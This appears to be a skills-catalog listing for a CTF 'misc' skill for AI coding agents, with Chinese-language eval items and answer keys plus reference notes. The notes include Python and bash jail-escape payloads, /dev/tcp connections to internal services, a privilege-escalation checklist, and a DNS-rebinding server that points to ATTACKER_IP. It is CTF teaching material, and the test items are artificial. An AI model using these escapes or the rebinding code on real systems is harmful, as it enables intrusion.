
Ctf Misc
- 31 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
ctf-misc is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- ctf-misc
- AI & Agent Building
- AI-coding skill
Ctf Misc by the numbers
- 31 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,202 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill ctf-miscAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 31 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
CTF 杂项挑战
深入参考
以下参考资料按需加载,根据识别出的具体方向选择对应文件:
- Python 沙箱逃逸(受限字符/func_globals链/类属性持久化) → references/pyjails.md
- Bash 沙箱/受限Shell逃逸 → references/bashjails.md
- 编码与解码(QR/esolang/Verilog/BCD/Gray码/SMS PDU) → references/encodings.md
- RF/SDR 信号处理(QAM-16/载波恢复/定时同步) → references/rf-sdr.md
- DNS 利用(ECS欺骗/NSEC遍历/IXFR/重绑定/隧道) → references/dns.md
- 游戏与VM Part1(WASM/Roblox/PyInstaller/K8s/Z3/浮点) → references/games-and-vms.md
- 游戏与VM Part2(ML权重/WebSocket/Flask/LoRA/De Bruijn) → references/games-and-vms-2.md
- 游戏与VM Part3(memfd/博弈/ROM切换/Benford/BuildKit) → references/games-and-vms-3.md
- Linux 提权(sudo通配符/NFS/SSH隧道/PostgreSQL RCE) → references/linux-privesc.md
- 高级编码(Verilog HDL/Gray码/Manchester编码/BPF字节码) → references/encodings-advanced.md
---
分类决策树
Misc 题目?
├─ 编码/解码谜题
│ ├─ Base64/Hex/ROT13 → CyberChef 自动检测
│ ├─ QR 码 → zbarimg / 碎片重组
│ ├─ 二进制/莫尔斯/BCD → [references/encodings.md](references/encodings.md)
│ └─ 多层嵌套 → 循环解码直到明文
├─ 沙箱逃逸
│ ├─ Python jail → [references/pyjails.md](references/pyjails.md)
│ │ ├─ 受限字符 → repunit分解 / chr()构造
│ │ ├─ 禁import → __builtins__.__import__
│ │ └─ 受限exec → func_globals链 / MRO遍历
│ └─ Bash jail → [references/bashjails.md](references/bashjails.md)
├─ 游戏/交互
│ ├─ WASM → 内存patch / wasm2wat 修改
│ ├─ WebSocket → 拦截修改消息
│ ├─ 博弈论 → Nim/承诺方案 → [references/games-and-vms-3.md](references/games-and-vms-3.md)
│ └─ ML/AI → 权重扰动 / 碰撞 → [references/games-and-vms-2.md](references/games-and-vms-2.md)
├─ DNS → [references/dns.md](references/dns.md)
├─ RF/SDR → [references/rf-sdr.md](references/rf-sdr.md)
└─ Linux 提权 → [references/linux-privesc.md](references/linux-privesc.md)通用技巧
# 文件识别
file mystery && xxd mystery | head
binwalk -e mystery
# 编码检测
echo "data" | base64 -d
python3 -c "import base64; print(base64.b85decode(b'...'))"
# Z3 约束求解
python3 -c "
from z3 import *
x = BitVec('x', 32)
s = Solver()
s.add(x * 0x1337 == 0xdeadbeef)
s.check(); print(s.model())
"Python Jail 速查
| 技术 | 场景 |
|---|---|
__builtins__.__import__ | import 被禁 |
().__class__.__bases__[0].__subclasses__() | 获取所有子类 |
chr() + eval() 构造 | 字符被限制 |
breakpoint() → os.system() | Python 3.7+ |
编码速查
| 编码 | 特征 |
|---|---|
| Base64 | A-Za-z0-9+/= 结尾 |
| Base32 | A-Z2-7= 大写 |
| Hex | 0-9a-f 偶数长度 |
| URL编码 | %XX 形式 |
| Unicode隐写 | 零宽字符 U+200B/U+200C |
多层编码
- 编写脚本 while 循环自动化批量解码,避免手动逐层解
QR 码修复
- 注意方向:可能需要旋转、翻转、对齐校正
- QR 有纠错/容错机制,部分损坏也能解码
{
"skill_name": "ctf-misc",
"evals": [
{
"id": 1,
"name": "python-jail-escape",
"prompt": "CTF 题目是一个 Python jail:可以执行 Python 代码,但 import、exec、eval、os、system 等关键词被禁止。请描述逃逸方法。",
"expected_output": "通过 __builtins__ 或 MRO 链访问被禁函数:().__class__.__bases__[0].__subclasses__() 遍历子类找到 os._wrap_close 等可执行命令的类",
"expectations": [
"__class__|__bases__|__subclasses__|MRO链",
"__builtins__|__import__|内置函数|绕过import",
"子类|subclasses|os._wrap_close|Popen",
"chr()|字符构造|拼接|绕过关键词过滤",
"breakpoint()|pdb|交互调试|Python3.7"
],
"required_terms": [
"__class__",
"__bases__",
"__subclasses__"
]
},
{
"id": 2,
"name": "multi-layer-encoding",
"prompt": "CTF misc 题给了一个文件,内容是一长串字符。用 file 命令显示为 ASCII text。观察发现是 base64 编码。解码后又是 base64。请描述解题策略。",
"expected_output": "多层嵌套编码:循环解码(base64/base32/hex/rot13),每层识别编码类型并解码,直到出现明文或 flag",
"expectations": [
"多层|嵌套|循环解码|递归",
"base64|base32|hex|rot13|多种编码",
"CyberChef|自动检测|Magic|自动解码",
"脚本|while循环|自动化|批量解码",
"明文|flag|停止条件|可读文本"
],
"required_terms": [
"CyberChef",
"base64",
"base32"
]
},
{
"id": 3,
"name": "bash-jail-escape",
"prompt": "CTF 题目是受限的 bash shell,大部分命令被禁止(cat/ls/echo 等),只允许使用 bash 内建命令。PATH 为空。请描述逃逸方法。",
"expected_output": "利用 bash 内建功能:read 读文件、printf 输出、通配符展开列目录、$(<file) 读文件内容",
"expectations": [
"内建命令|builtin|bash内置|不依赖PATH",
"read|mapfile|读文件|$(<file)",
"printf|echo替代|输出|打印",
"通配符|glob|*|?|列目录",
"/bin/cat|绝对路径|/usr/bin|直接指定路径"
],
"required_terms": [
"/usr/bin",
"builtin",
"read"
]
},
{
"id": 4,
"name": "qr-code-reconstruction",
"prompt": "CTF misc 题给了多张碎片图片,看起来是一个 QR 码被切成了若干块并打乱了顺序。请描述如何重组并解码。",
"expected_output": "重组 QR 码:根据定位标记(三个角的方块)确定方向和位置,拼接碎片后用 zbarimg 解码",
"expectations": [
"定位标记|finder pattern|三个角|方块|定位图案",
"拼接|重组|imagemagick|PIL|拼图",
"zbarimg|zxing|QR解码|扫描",
"方向|旋转|翻转|对齐|校正",
"纠错|容错|部分损坏|也能解码"
],
"required_terms": [
"PIL",
"finder pattern",
"zbarimg"
]
},
{
"id": 5,
"name": "z3-constraint-solving",
"prompt": "CTF misc 题给了一组数学方程组,有 10 个未知数和 10 个方程,每个变量是一个可打印 ASCII 字符。请描述如何求解。",
"expected_output": "使用 Z3 SMT 求解器:定义 BitVec/Int 变量,添加方程约束和 ASCII 范围约束(32-126),求解得到 flag",
"expectations": [
"Z3|z3-solver|SMT|约束求解",
"BitVec|Int|变量定义|声明变量",
"约束|constraint|add|方程",
"ASCII|可打印|32-126|范围限制",
"s.check()|model()|求解|结果"
],
"required_terms": [
"s.check()",
"model()",
"SMT"
]
}
]
}
{
"skill_id": "ctf-misc",
"recall_tests": [
{
"id": 1,
"type": "keyword_positive",
"description": "核心关键词",
"keywords": [
"ctf misc",
"杂项",
"pyjail",
"bashjail"
]
},
{
"id": 2,
"type": "keyword_positive",
"description": "技术搜索",
"keywords": [
"encoding",
"z3",
"sdr"
]
},
{
"id": 3,
"type": "keyword_negative",
"description": "不应被crypto召回",
"keywords": [
"rsa",
"aes"
]
}
],
"llm_tests": [
{
"id": 1,
"name": "ctf-misc-scenario",
"scenario": "CTF 杂项题,题目给了一个奇怪格式的文件,文件名是 challenge.dat,不知道是什么类型。请搜索 CTF Misc 解题方法论。",
"max_rounds": 2,
"expect_tool_calls": [
{
"tool": "list_skills",
"keyword_contains": "misc|杂项|ctf misc|ctf"
},
{
"tool": "read_skill",
"id": "ctf-misc"
}
]
}
]
}CTF Misc - Bash Jails & Restricted Shells
Table of Contents
- Identifying the Jail
- Eval Context Detection
- Character-Restricted Bash: Only #, $, \
- Internal Service Discovery (Post-Shell)
- Other Restricted Character Set Tricks
- Building numbers from $# and ${##}
- Using PID digits
- Octal in ANSI-C quoting
- Dollar-zero variants
- Privilege Escalation Checklist (Post-Shell)
- References
---
Identifying the Jail
Methodology: Send test inputs and observe error messages to determine: 1. What characters are allowed (whitelist vs blacklist) 2. Whether input is eval'd, passed to bash -c, or something else 3. Whether input is wrapped in quotes (double-quoted eval context)
Test for character filtering:
from pwn import *
import time
# Send each char combined with a known-good payload
for c in range(32, 127):
r = remote(host, port, level='error')
r.sendline(b'$#' + bytes([c]) + b'$#')
time.sleep(0.3)
try:
data = r.recv(timeout=1)
if data:
print(f'{chr(c)!r}: {data.decode().strip()[:60]}')
except:
pass
r.close()Silent rejection = character not allowed. Error output = character passed the filter.
---
Eval Context Detection
Double-quoted eval (eval "$input"):
- Trailing
\causes:unexpected EOF while looking for matching '"' $#expands to0(inside double-quotes,$still expands)\$gives literal$(backslash escapes dollar in double-quotes)\#gives\#literally (backslash doesn't escape#in double-quotes, but eval then interprets\#as literal#)
Bare eval (eval $input):
- Word splitting applies
- Backslash escapes work differently
Read behavior:
read -r: backslashes preserved literallyread(without -r): backslash is escape character (strips backslashes)
---
Character-Restricted Bash: Only #, $, \
Pattern (HashCashSlash): Filter regex ^[\\#\$]+$ allows only hash, dollar, backslash.
Available expansions:
| Construct | Result | Notes |
|---|---|---|
$# | 0 | Number of positional parameters |
$$ | PID | Current process ID (multi-digit number) |
\$ | literal $ | In double-quoted eval context |
\\ | literal \ | In double-quoted eval context |
\# | literal # | Via eval's second-pass interpretation |
Key payload: `\$$#`
In a double-quoted eval context like bash -c "\"${x}\"":
\$→ literal$(backslash escapes dollar in double-quotes)$#→0(parameter expansion)- Combined:
$0in the eval context $0= the shell name =bash- Result: spawns an interactive bash shell
Why it works: The script wraps input in double quotes for bash -c, so \$ becomes a literal $, then $# expands to 0, giving the string $0. When eval executes this, $0 expands to the shell invocation name (bash), spawning a new shell.
---
Internal Service Discovery (Post-Shell)
After escaping the jail, the flag may not be directly readable. Check for internal services:
# Find all running processes and their command lines
cat /proc/*/cmdline 2>/dev/null | tr '\0' ' '
# Look specifically for flag-serving processes
for pid in /proc/[0-9]*/; do
cmd=$(cat ${pid}cmdline 2>/dev/null | tr '\0' ' ')
if echo "$cmd" | grep -qi flag; then
echo "PID $(basename $pid): $cmd"
cat ${pid}status 2>/dev/null | grep -E "^(Uid|Name):"
fi
doneCommon patterns:
socat TCP-LISTEN:PORT,bind=127.0.0.1 EXEC:cat /flag→ flag on localhost portreadflagbinary with SUID bit- Flag in environment of root process
Connect to internal services:
# Bash built-in TCP (no netcat needed)
cat < /dev/tcp/127.0.0.1/PORT
# Or with netcat if available
nc 127.0.0.1 PORT---
Other Restricted Character Set Tricks
Building numbers from $# and ${##}
If { and } are allowed:
$#= 0${##}= 1 (length of$#'s string value "0")- Concatenate to build binary:
${##}$#${##}= "101"
Using PID digits
$$ gives a multi-digit number. If you can extract individual digits (requires {} and :):
${$$:0:1} # First digit of PID
${$$:1:1} # Second digit of PIDOctal in ANSI-C quoting
If ' is available: $'\101' = A, $'\142\141\163\150' = bash
Dollar-zero variants
| Shell | $0 value |
|---|---|
| bash script | script path |
| bash -c | bash |
| interactive | bash or -bash |
| sh | sh |
---
Privilege Escalation Checklist (Post-Shell)
1. SUID binaries: find / -perm -4000 2>/dev/null 2. Capabilities: find / -executable -type f -exec getcap {} \; 2>/dev/null 3. Internal services: Check /proc/*/cmdline for flag-serving daemons 4. Process UIDs: cat /proc/*/status 2>/dev/null | grep -A5 "^Name:.*flag" 5. Writable paths: Check if PATH contains writable dirs 6. Docker/container: /dev/tcp for internal service access, /.dockerenv presence
---
References
- 0xL4ugh CTF "HashCashSlash": Filter
^[\\#\$]+$, payload\$$#, internal socat flag service
CTF Misc - DNS Exploitation Techniques
Table of Contents
- EDNS Client Subnet (ECS) Spoofing
- DNSSEC NSEC Walking
- Incremental Zone Transfer (IXFR)
- DNS Rebinding
- DNS Tunneling / Exfiltration
- DNS Enumeration Quick Reference
---
EDNS Client Subnet (ECS) Spoofing
Pattern (DragoNflieS, Nullcon 2026): DNS server returns different records based on client IP. Spoof source using ECS option.
# dig with ECS option
dig @52.59.124.14 -p 5053 flag.example.com TXT +subnet=10.13.37.1/24import dns.edns, dns.query, dns.message
q = dns.message.make_query("flag.example.com", "TXT", use_edns=True)
ecs = dns.edns.ECSOption("10.13.37.1", 24, 0) # Internal network subnet
q.use_edns(0, 0, 8192, options=[ecs])
r = dns.query.udp(q, "target_ip", port=5053, timeout=1.5)
for rrset in r.answer:
for rd in rrset:
print(b"".join(rd.strings).decode())Key insight: Try leet-speak subnets like 10.13.37.0/24 (1337), common internal ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
DNSSEC NSEC Walking
Pattern (DiNoS, Nullcon 2026): NSEC records in DNSSEC zones reveal all domain names by chaining to the next name.
import subprocess, re
def walk_nsec(server, port, base_domain):
"""Walk NSEC chain to enumerate entire zone."""
current = base_domain
visited = set()
records = []
while current not in visited:
visited.add(current)
out = subprocess.check_output(
["dig", f"@{server}", "-p", str(port), "ANY", current, "+dnssec"],
text=True)
# Extract TXT records
for m in re.finditer(r'TXT\s+"([^"]*)"', out):
records.append((current, m.group(1)))
# Follow NSEC chain
m = re.search(r'NSEC\s+(\S+)', out)
if m:
current = m.group(1).rstrip('.')
else:
break
return recordsIncremental Zone Transfer (IXFR)
Pattern (Zoney, Nullcon 2026): When AXFR is blocked, IXFR from old serial reveals zone update history including deleted records.
# AXFR blocked? Try IXFR from serial 0
dig @server -p 5054 flag.example.com IXFR=0
# Look for historical TXT records in the diff outputIXFR output format: The diff shows pairs of SOA records bracketing additions/deletions. Records between the old SOA and new SOA were removed; records after new SOA were added. Deleted TXT records often contain flag fragments.
---
DNS Rebinding
Pattern: Bypass same-origin or IP-based access controls by making a DNS name resolve to different IPs over time.
How it works: 1. Attacker controls DNS for evil.com with very low TTL (e.g., 1 second) 2. First resolution: evil.com -> attacker's IP (serves malicious JS) 3. Second resolution: evil.com -> 127.0.0.1 (or internal IP) 4. Browser's same-origin policy allows JS on evil.com to access the new IP
# Simple DNS rebinding server (Python + dnslib)
from dnslib import DNSRecord, RR, A
from dnslib.server import DNSServer, BaseResolver
class RebindResolver(BaseResolver):
def __init__(self):
self.count = {}
def resolve(self, request, handler):
qname = str(request.q.qname)
self.count[qname] = self.count.get(qname, 0) + 1
reply = request.reply()
if self.count[qname] % 2 == 1:
reply.add_answer(RR(qname, rdata=A("ATTACKER_IP"), ttl=1))
else:
reply.add_answer(RR(qname, rdata=A("127.0.0.1"), ttl=1))
return replyTools: rbndr.us for quick rebinding without custom DNS, singularity for automated attacks.
---
DNS Tunneling / Exfiltration
Pattern: Data exfiltrated via DNS queries (subdomains) or responses (TXT records).
Detection in PCAPs:
# Extract DNS queries from pcap
tshark -r capture.pcap -Y "dns.qry.type == 1" \
-T fields -e dns.qry.name | sort -u
# Look for encoded subdomains (hex, base32, base64url)
tshark -r capture.pcap -Y "dns.qry.name contains '.evil.com'" \
-T fields -e dns.qry.nameDecoding exfiltrated data:
import base64
# Subdomain-based exfil: data.chunk1.evil.com, data.chunk2.evil.com
queries = [...] # extracted DNS query names
chunks = [q.split('.')[0] for q in queries if q.endswith('.evil.com')]
decoded = base64.b32decode(''.join(chunks).upper() + '====')
print(decoded)DNS-based C2 in PCAPs:
tshark -r capture.pcap -Y "dns.qry.type == 16" \
-T fields -e dns.qry.name -e dns.txt---
DNS Enumeration Quick Reference
# Standard zone transfer attempt
dig @ns.target.com target.com AXFR
# Brute-force subdomains
for sub in $(cat wordlist.txt); do
dig +short "$sub.target.com" && echo "$sub"
done
# Reverse DNS sweep
for i in $(seq 1 254); do
dig +short -x 10.0.0.$i
done
# Check for wildcard DNS
dig randomnonexistent.target.comCTF Misc - Advanced Encodings & Specialized Formats
Table of Contents
- Verilog/HDL
- Gray Code Cyclic Encoding (EHAX 2026)
- Binary Tree Key Encoding
- RTF Custom Tag Data Extraction (VolgaCTF 2013)
- SMS PDU Decoding and Reassembly (RuCTF 2013)
- Automated Multi-Encoding Sequential Solver (HackIM 2016)
- RFC 4042 UTF-9 Decoding (SECCON 2015)
- Pixel Color Binary Encoding (Break In 2016)
- Hexadecimal Sudoku + QR Assembly (BSidesSF 2026)
- TOPKEK Binary Encoding (Hack The Vote 2016)
- MaxiCode 2D Barcode Decoding (CSAW CTF 2016)
- DTMF Audio with Multi-Tap Phone Keypad Decoding (h4ckc0n 2017)
- Music Note Interval Steganography (DefCamp 2017)
---
Verilog/HDL
# Translate Verilog logic to Python
def verilog_module(input_byte):
wire_a = (input_byte >> 4) & 0xF
wire_b = input_byte & 0xF
return wire_a ^ wire_b---
Gray Code Cyclic Encoding (EHAX 2026)
Pattern (#808080): Web interface with a circular wheel (5 concentric circles = 5 bits, 32 positions). Must fill in a valid Gray code sequence where consecutive values differ by exactly one bit.
Gray code properties:
- N-bit Gray code has 2^N unique values
- Adjacent values differ by exactly 1 bit (Hamming distance = 1)
- The sequence is cyclic — rotating the start position produces another valid sequence
- Standard conversion:
gray = n ^ (n >> 1)
# Generate N-bit Gray code sequence
def gray_code(n_bits):
return [i ^ (i >> 1) for i in range(1 << n_bits)]
# 5-bit Gray code: 32 values
seq = gray_code(5)
# [0, 1, 3, 2, 6, 7, 5, 4, 12, 13, 15, 14, 10, 11, 9, 8, ...]
# Rotate sequence by k positions (cyclic property)
def rotate(seq, k):
return seq[k:] + seq[:k]
# If decoded output is ROT-N shifted, rotate the Gray code start by N positions
rotated = rotate(seq, 4) # Shift start by 4Key insight: If the decoded output looks correct but shifted (e.g., ROT-4), the Gray code start position needs cyclic rotation by the same offset. The cyclic property guarantees all rotations remain valid Gray codes.
Wheel mapping: Each concentric circle = one bit position. Innermost = bit 0, outermost = bit N-1. Read bits at each angular position to build N-bit values.
---
Binary Tree Key Encoding
Encoding: '0' → j = j*2 + 1, '1' → j = j*2 + 2
Decoding:
def decode_path(index):
path = ""
while index != 0:
if index & 1: # Odd = left ('0')
path += "0"
index = (index - 1) // 2
else: # Even = right ('1')
path += "1"
index = (index - 2) // 2
return path[::-1]---
RTF Custom Tag Data Extraction (VolgaCTF 2013)
Pattern: Data hidden inside custom RTF control sequences (e.g., {\*\volgactf412 [DATA]}). Extract numbered blocks, sort by index, concatenate, and base64-decode.
import re, base64
rtf = open('document.rtf', 'r').read()
# Extract custom tags: {\*\volgactf<N> <DATA>}
blocks = re.findall(r'\{\\\*\\volgactf(\d+)\s+([^}]+)\}', rtf)
blocks.sort(key=lambda x: int(x[0])) # Sort by numeric index
payload = ''.join(data for _, data in blocks)
flag = base64.b64decode(payload)Key insight: RTF files support custom control sequences prefixed with \* (ignorable destinations). Malicious or challenge data hides in these ignored fields — standard RTF viewers skip them. Look for non-standard \*\ tags with grep -oP '\\\\\\*\\\\[a-z]+\d*' document.rtf.
---
SMS PDU Decoding and Reassembly (RuCTF 2013)
Pattern: Intercepted hex strings are GSM SMS-SUBMIT PDU (Protocol Data Unit) frames. Concatenated SMS messages require UDH (User Data Header) reassembly by sequence number.
from smspdu import SMS_SUBMIT
# Read PDU hex strings (one per line)
pdus = [line.strip() for line in open('sms_intercept.txt')]
# Sort by concatenation sequence number (bytes 38-40 in hex)
pdus.sort(key=lambda pdu: int(pdu[38:40], 16))
# Extract and concatenate user data
payload = b''
for pdu in pdus:
sms = SMS_SUBMIT.fromPDU(pdu[2:], '') # Skip first byte (SMSC length)
payload += sms.user_data.encode() if isinstance(sms.user_data, str) else sms.user_data
# Payload is often base64 — decode to get embedded file
import base64
with open('output.png', 'wb') as f:
f.write(base64.b64decode(payload))Key insight: SMS PDU format: 0041000B91 prefix identifies SMS-SUBMIT. UDH field at bytes 29-40 contains 05000301XXYY where XX=total parts, YY=sequence number. Install smspdu library (pip install smspdu) for automated parsing. Output is often a base64-encoded image — use reverse image search to identify the subject.
---
Automated Multi-Encoding Sequential Solver (HackIM 2016)
Some challenges require decoding 25+ sequential layers of different encodings. Build an automated decoder:
import base64, zlib, bz2, codecs
def auto_decode(data):
"""Try each encoding and return first successful decode"""
decoders = [
('base64', lambda d: base64.b64decode(d)),
('base32', lambda d: base64.b32decode(d)),
('base16', lambda d: base64.b16decode(d.upper())),
('zlib', lambda d: zlib.decompress(d if isinstance(d, bytes) else d.encode())),
('bz2', lambda d: bz2.decompress(d if isinstance(d, bytes) else d.encode())),
('rot13', lambda d: codecs.decode(d, 'rot_13')),
('hex', lambda d: bytes.fromhex(d if isinstance(d, str) else d.decode())),
('binary', lambda d: bytes(int(d[i:i+8], 2) for i in range(0, len(d.strip()), 8))),
('ebcdic', lambda d: d.decode('cp500') if isinstance(d, bytes) else d.encode().decode('cp500')),
]
for name, decoder in decoders:
try:
result = decoder(data)
if result and len(result) > 0:
return name, result
except:
continue
return None, data
# Chain decoder
data = initial_input
for i in range(50): # Max layers
name, data = auto_decode(data)
if name is None:
break
print(f"Layer {i}: {name}")Add Brainfuck detection (presence of +-<>[]., characters only) and other esoteric languages as needed.
---
RFC 4042 UTF-9 Decoding (SECCON 2015)
RFC 4042 (April Fools' RFC) defines UTF-9, a 9-bit encoding for Unicode on systems with 9-bit bytes:
- Each 9-bit "byte" has a continuation bit (MSB): 1 = more bytes follow, 0 = last byte
- Lower 8 bits contain character data
- Multi-byte sequences concatenate the 8-bit portions
def decode_utf9(data_bits):
"""Decode UTF-9 from a bitstring"""
chars = []
i = 0
while i < len(data_bits):
# Read 9-bit units until continuation bit is 0
codepoint_bits = ''
while i + 9 <= len(data_bits):
continuation = int(data_bits[i])
codepoint_bits += data_bits[i+1:i+9]
i += 9
if continuation == 0:
break
if codepoint_bits:
chars.append(chr(int(codepoint_bits, 2)))
return ''.join(chars)
# Convert octal/hex input to binary first
binary_string = bin(int(octal_data, 8))[2:]
result = decode_utf9(binary_string)Key insight: Look for "4042" or "UTF-9" in challenge descriptions. The April Fools' RFC series (RFC 1149, 2549, 4042) occasionally appears in CTFs.
---
Pixel Color Binary Encoding (Break In 2016)
Narrow images (7-8 pixels wide) may encode ASCII characters as binary pixel rows:
from PIL import Image
img = Image.open('challenge.png')
pixels = img.load()
width, height = img.size
text = ''
for y in range(height):
bits = ''
for x in range(width):
r, g, b = pixels[x, y][:3]
# Red pixel = 1, Black pixel = 0 (or white=1, black=0)
bits += '1' if r > 128 else '0'
# Pad to 8 bits if needed (7-pixel-wide images)
if len(bits) == 7:
bits = '0' + bits # Prepend leading zero
text += chr(int(bits, 2))
print(text)Key insight: Image width of 7 or 8 pixels strongly suggests binary character encoding (7-bit ASCII or 8-bit). Check both color channels and brightness thresholds.
---
Hexadecimal Sudoku + QR Assembly (BSidesSF 2026)
Pattern (hexhaustion): Flag is encoded across 4 QR codes, each containing one quadrant of a 16x16 hexadecimal Sudoku grid. Solve the Sudoku, read the main diagonal values as hex pairs, convert to ASCII for the flag.
Solving steps:
1. Scan QR codes: Use zbarimg or pyzbar to decode all 4 QR codes 2. Assemble grid: Each QR contains a quadrant (8x8) with hex values (0-F) and blanks 3. Solve the 16x16 Sudoku: Standard Sudoku rules apply with hex digits (0-F) — each row, column, and 4x4 box contains each digit exactly once 4. Extract flag: Read diagonal values grid[i][i] for i=0..15, pair into bytes, decode as ASCII
from itertools import product
def solve_hex_sudoku(grid):
"""Solve 16x16 Sudoku with hex digits 0-F using backtracking."""
digits = set(range(16))
def possible(r, c):
used = set()
used.update(grid[r]) # Row
used.update(grid[i][c] for i in range(16)) # Column
br, bc = (r // 4) * 4, (c // 4) * 4 # 4x4 box
for i, j in product(range(br, br+4), range(bc, bc+4)):
used.update({grid[i][j]})
used.discard(-1) # -1 = blank
return digits - used
def solve():
for r, c in product(range(16), range(16)):
if grid[r][c] == -1:
for d in possible(r, c):
grid[r][c] = d
if solve():
return True
grid[r][c] = -1
return False
return True
solve()
return grid
# Read diagonal and convert to ASCII
solved = solve_hex_sudoku(grid)
diag_hex = ''.join(format(solved[i][i], 'X') for i in range(16))
flag = bytes.fromhex(diag_hex).decode('ascii')
print(flag) # e.g., "HYPOAXIS"Key insight: The QR codes serve as both a distribution mechanism (splitting the puzzle into 4 pieces) and a data encoding layer. The actual flag encoding is in the Sudoku solution's diagonal values interpreted as hex bytes.
When to recognize: Challenge distributes multiple QR codes, mentions "hex", "nibbles", or "16x16 grid". QR content contains hex characters with blanks/underscores.
References: BSidesSF 2026 "hexhaustion"
---
TOPKEK Binary Encoding (Hack The Vote 2016)
Custom binary encoding where KEK represents bit 0 and TOP represents bit 1. Exclamation marks indicate bit repetition count.
def decode_topkek(encoded):
"""Decode TOPKEK encoding: KEK=0, TOP=1, !=repeat count"""
tokens = encoded.split()
bits = ""
for token in tokens:
# Count exclamation marks (repeat count = len - 3)
base = token.replace('!', '')
repeats = len(token) - len(base)
if repeats == 0:
repeats = 1
if base == "KEK":
bits += "0" * repeats
elif base == "TOP":
bits += "1" * repeats
# Convert bit string to ASCII
message = ""
for i in range(0, len(bits), 8):
byte = bits[i:i+8]
if len(byte) == 8:
message += chr(int(byte, 2))
return message
# Example: "KEK! TOP!! KEK TOP!"
# = "0" + "11" + "0" + "1" = "0110 1..."Key insight: TOPKEK is a CTF-specific encoding. Recognize it by the pattern of TOP/KEK words with varying numbers of ! suffixes. Each ! adds one repetition of the corresponding bit value. Decode to binary, then group into 8-bit bytes for ASCII.
---
MaxiCode 2D Barcode Decoding (CSAW CTF 2016)
MaxiCode is a hexagonal 2D barcode used by UPS, occasionally found in CTF forensics challenges.
# Identify MaxiCode: distinctive bullseye center pattern
# with hexagonal dot matrix (unlike QR's square modules)
# Decode using zxing library:
# Online: https://zxing.org/w/decode.jspx (upload image)
# Python:
# pip install zxing pyzbar
python3 -c "
from pyzbar.pyzbar import decode
from PIL import Image
results = decode(Image.open('maxicode.gif'), symbols=[pyzbar.ZBarSymbol.CODE128])
# Note: pyzbar may not support MaxiCode directly
# Use zxing Java library instead:
"
# Java zxing command-line:
java -cp javase.jar:core.jar com.google.zxing.client.j2se.CommandLineRunner maxicode.gif
# Alternative: use online decoders
# - https://products.aspose.app/barcode/recognize
# - https://www.onlinebarcodereader.com/Key insight: MaxiCode has a distinctive bullseye center (3 concentric circles) surrounded by a hexagonal grid. Standard QR decoders won't read it. Use zxing (Java) which supports MaxiCode natively, or online barcode decoders. MaxiCode is found in shipping labels, CTF forensics disk images, and embedded in other files.
---
DTMF Audio with Multi-Tap Phone Keypad Decoding (h4ckc0n 2017)
Pattern: Audio file contains DTMF telephone keypad tones. This is a two-layer encoding: first decode tones to a digit sequence, then decode grouped digits as multi-tap phone keypad input (repeated presses select letters).
Step 1 — Decode DTMF tones to digits: Use Audacity's spectrogram view or an online DTMF decoder to identify tone pairs. Pauses/gaps indicate word or group boundaries.
Step 2 — Decode multi-tap keypad: Group digits by their key press sequences, then map to letters:
# Multi-tap decode mapping
T9 = {
'2':'a', '22':'b', '222':'c',
'3':'d', '33':'e', '333':'f',
'4':'g', '44':'h', '444':'i',
'5':'j', '55':'k', '555':'l',
'6':'m', '66':'n', '666':'o',
'7':'p', '77':'q', '777':'r', '7777':'s',
'8':'t', '88':'u', '888':'v',
'9':'w', '99':'x', '999':'y', '9999':'z',
}
def decode_multitap(groups):
"""groups: list of strings like ['444', '88', '2', ...]"""
return ''.join(T9.get(g, '?') for g in groups)Key insight: Two-layer encoding — DTMF tones encode digits, then digit sequences use multi-tap phone keypad mapping. Use Audacity's spectrogram to identify pause positions for grouping boundaries. Each same-digit run maps to one letter; a pause separates distinct keypresses on the same digit key.
---
Music Note Interval Steganography (DefCamp 2017)
Pattern: An MP3 is transcribed to musical notes. The flag is encoded as pairs of notes where each note maps to a nibble (4 bits) based on its position (scale degree) in the D major scale. Two nibbles combine to form one byte/character.
Encoding scheme:
- D major scale degrees 0–7 map to nibble values 0–7 (3-bit nibble) or 0–15 (4-bit nibble) depending on variant
- Each pair of consecutive notes encodes one character:
(note1 << 4) | note2 - Known flag prefix/suffix (e.g.,
CTF{...}) at start/end reveals the alphabet mapping
Recovery approach:
# Example: D major scale degree → nibble value
# D=0, E=1, F#=2, G=3, A=4, B=5, C#=6, D(octave)=7
scale = {'D': 0, 'E': 1, 'F#': 2, 'G': 3, 'A': 4, 'B': 5, 'C#': 6}
notes = ['A', 'D', 'G', 'E', ...] # transcribed from audio
chars = []
for i in range(0, len(notes) - 1, 2):
hi = scale[notes[i]]
lo = scale[notes[i+1]]
chars.append(chr((hi << 4) | lo))
print(''.join(chars))Key insight: Known plaintext at the start and end (flag format like CTF{ and }) reveals the encoding alphabet — map the known characters back to their note pairs to confirm the scale-degree assignment. Musical scale degree = nibble value; pairs of notes = one byte.
CTF Misc - Encodings & Media
Table of Contents
- Common Encodings
- Base64
- Base32
- Hex
- IEEE 754 Floating Point Encoding
- UTF-16 Endianness Reversal (LACTF 2026)
- BCD (Binary-Coded Decimal) Encoding (VuwCTF 2025)
- Multi-Layer Encoding Detection (0xFun 2026)
- URL Encoding
- ROT13 / Caesar
- Caesar Brute Force
- QR Codes
- Basic Commands
- QR Structure
- Repairing Damaged QR
- Finder Pattern Template
- QR Code Chunk Reassembly (LACTF 2026)
- QR Code Chunk Reassembly via Indexed Directories (UTCTF 2026)
- Multi-Stage URL Encoding Chain (UTCTF 2026)
- Esoteric Languages
- Whitespace Language Parser (BYPASS CTF 2025)
- Custom Brainfuck Variants (Themed Esolangs)
- Multi-Layer Esoteric Language Chains (Break In 2016)
- Verilog/HDL
- Gray Code Cyclic Encoding (EHAX 2026)
- Binary Tree Key Encoding
- RTF Custom Tag Data Extraction (VolgaCTF 2013)
- SMS PDU Decoding and Reassembly (RuCTF 2013)
